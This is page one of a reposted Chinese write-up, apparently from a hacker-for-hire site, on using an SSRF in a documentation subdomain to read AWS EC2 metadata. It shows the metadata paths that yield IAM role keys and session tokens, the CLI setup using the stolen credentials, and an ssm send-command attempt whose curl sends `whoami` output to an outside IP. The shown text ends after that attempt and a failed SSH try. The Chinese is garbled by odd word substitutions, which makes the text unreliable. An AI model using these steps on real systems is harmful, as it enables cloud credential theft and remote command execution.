使用SSRF走漏云环境中的Metadata数据进一步完成RCE

本文我将向咱们共享一个新的十分有意思的缝隙。运用该缝隙可认为咱们走漏云环境中的Metadata数据,并进一步的完成长途代码履行(RCE )。 测验规模 在对该站点进行子域枚举时,我找到了[docs.re...

本文我将向咱们共享一个新的十分有意思的缝隙。运用该缝隙可认为咱们走漏云环境中的Metadata数据,并进一步的完成长途代码履行(RCE )。
测验规模
在对该站点进行子域枚举时,我找到了[docs.redact.com]这个子域。
查找带外资源加载
[docs]子域名显现了一些文档和计算信息

在点击计算数据的照片时,我看到了一些古怪的链接:

我想到的榜首件事便是将[url]的值改为generaleg0x01.com

然后,我留意到了[mimeType]参数并修改更改了链接,如下:
https://docs.redact.com/report/api/v2/help/asset?url=https://generaleg0x01.com&mimeType=text/html&t=REDACTED.JWT.TOKEN&advertiserId=11

到目前为止它仅仅[带外资源加载]
验证 SSRF
当我查看BurpSuite中的恳求/呼应时我留意到了呼应头[X-Amz-Cf-Id]
所以,当时的环境应该是AWS。
咱们需求保证SSRF在这里能够正常运用。正如咱们所知,[169.254.169.254]是EC2实例的本地IP地址。
让咱们测验经过导航到[ latest/meta-data/]来访问米数据文件夹。

SSRF被承认。
让咱们经过导航到[/latest/meta-data/iam/security-credentials/]来查看咱们当时的人物。
能够看到当时为:aws-elasticbeanstalk-ec2-role

什么是 AWS Elastic Beanstalk ?
AWS Elastic Beanstalk是AWS供给的渠道即服务(PaaS),用于布置和扩展针对各种环境(如Java,.NET,PHP,Node.js,Python,Ruby和Go)开发的Web应用程序。
它会主动处理布置,容量装备,负载均衡,主动扩展和应用程序运行状况监督。
抓取所需数据
1)转到[/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/]
获取[AccessKeyId,SecretAccessKey,Token]

2)转到[/latest/dynamic/instance-identity/document/]
获取[instanceId,accountId,region]

装备 AWS 指令行界面
翻开terminal终端:
~# apt install awscli
~# export AWS_ACCESS_KEY_ID=AccessKeyId
~# export AWS_SECRET_ACCESS_KEY=SecretAccessKey
~# export AWS_DEFAULT_REGION=region
~# export AWS_SESSION_TOKEN=Token

获取[UserID]
~# aws sts get-caller-identity

SSRF运用得很好,现在让咱们进一步的缝隙发掘,看看能否将其晋级为要挟性更大的“RCE”
从 SSRF 到 RCE
我测验了一些潜在的运用场景。
经过[ssm send-command]发送指令失利
之后我研讨测验运用了AWS Systems Manager [ssm] 指令。
但该人物无权履行此指令。我期望运用aws ssm send-command来完成缝隙晋级。
~# aws ssm send-command –instance-ids “instanceId” –document-name “AWS-RunShellScript” –comment “whoami” –parameters commands=’curl 128.199.xx.xx:8080/`whoami`’ –output text –region=region
但显现调用SendCommand操作时发作过错(AccessDeniedException)。
An error occurred (AccessDeniedException) when calling the SendCommand operation: User: arn:aws:sts::765xxxxxxxxx:assumed-role/aws-elasticbeanstalk-ec2-role/i-007xxxxxxxxxxxxxx is not authorized to perform: ssm:SendCommand on resource: arn:aws:ec2:us-east-1:765xxxxxxxxx:instance/i-00xxxxxxxxxxxxxx

经过[SSH]晋级缝隙相同失利,SSH端口已封闭。

[1] [2]  黑客接单网

  • 发表于 2021-04-09 12:56
  • 阅读 ( 235 )
  • 分类:互联网

0 条评论

请先 登录 后评论
gyfhfg
gyfhfg

685 篇文章

你可能感兴趣的文章

相关问题